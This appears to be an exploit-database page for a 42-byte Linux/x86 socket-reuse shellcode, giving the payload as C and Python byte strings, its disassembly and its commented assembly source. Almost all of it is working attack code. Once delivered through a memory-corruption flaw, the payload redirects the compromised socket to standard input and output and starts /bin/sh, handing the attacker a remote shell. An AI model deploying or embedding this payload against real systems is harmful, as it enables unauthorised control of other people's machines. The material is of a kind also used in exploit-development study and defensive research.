
5 changes to exploits/shellcodes winrar 5.80 - XML External Entity Injection Total.js CMS 12 - Widget JavaScript Code Injection (Metasploit) Moxa EDR-810 - Command Injection / Information Disclosure Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
82 lines
No EOL
2.7 KiB
Text
82 lines
No EOL
2.7 KiB
Text
# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
|
|
# Author : WangYihang
|
|
# Date: 2019-10-22
|
|
# Tested on: Linux_x86
|
|
# Shellcode Length: 42
|
|
# CVE: N/A
|
|
;================================================================================
|
|
# Shellcode :
|
|
char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
|
;================================================================================
|
|
# Python :
|
|
shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
|
;================================================================================
|
|
; Build :
|
|
; $ nasm -f elf32 shellcode.asm -o shellcode
|
|
; $ objdump -d shellcode
|
|
|
|
; shellcode: file format elf32-i386
|
|
|
|
|
|
; Disassembly of section .text:
|
|
|
|
; 00000000 <_start>:
|
|
; 0: 31 db xor %ebx,%ebx
|
|
; 2: b3 03 mov $0x3,%bl
|
|
; 4: 31 c9 xor %ecx,%ecx
|
|
; 6: b1 03 mov $0x3,%cl
|
|
|
|
; 00000008 <dup2>:
|
|
; 8: fe c9 dec %cl
|
|
; a: 31 c0 xor %eax,%eax
|
|
; c: b0 3f mov $0x3f,%al
|
|
; e: cd 80 int $0x80
|
|
; 10: 80 f9 ff cmp $0xff,%cl
|
|
; 13: 75 f3 jne 8 <dup2>
|
|
|
|
; 00000015 <execve>:
|
|
; 15: 31 c9 xor %ecx,%ecx
|
|
; 17: 6a 0b push $0xb
|
|
; 19: 58 pop %eax
|
|
; 1a: 99 cltd
|
|
; 1b: 52 push %edx
|
|
; 1c: 68 2f 2f 73 68 push $0x68732f2f
|
|
; 21: 68 2f 62 69 6e push $0x6e69622f
|
|
; 26: 89 e3 mov %esp,%ebx
|
|
; 28: cd 80 int $0x80
|
|
|
|
;================================================================================
|
|
; Assembly language source code :
|
|
; shellcode.asm
|
|
;global _start
|
|
; _start:
|
|
; set ebx to the old socket fd = 3
|
|
; xor ebx, ebx
|
|
; mov bl, 03H
|
|
;
|
|
; init new socket fd
|
|
; xor ecx, ecx
|
|
; mov cl, 3
|
|
;
|
|
; dup2(socket, stdin)
|
|
; dup2(socket, stdout)
|
|
; dup2(socket, stderr)
|
|
; dup2:
|
|
; dec cl
|
|
; xor eax, eax
|
|
; mov al, 3FH
|
|
; int 80H
|
|
; cmp cl, 0FFH
|
|
; jne dup2
|
|
;
|
|
; execve:
|
|
; execve("/bin/sh", "/bin/sh", 0)
|
|
; xor ecx, ecx
|
|
; push 0bH
|
|
; pop eax
|
|
; cdq
|
|
; push edx
|
|
; push "//sh"
|
|
; push "/bin"
|
|
; mov ebx, esp
|
|
; int 80H |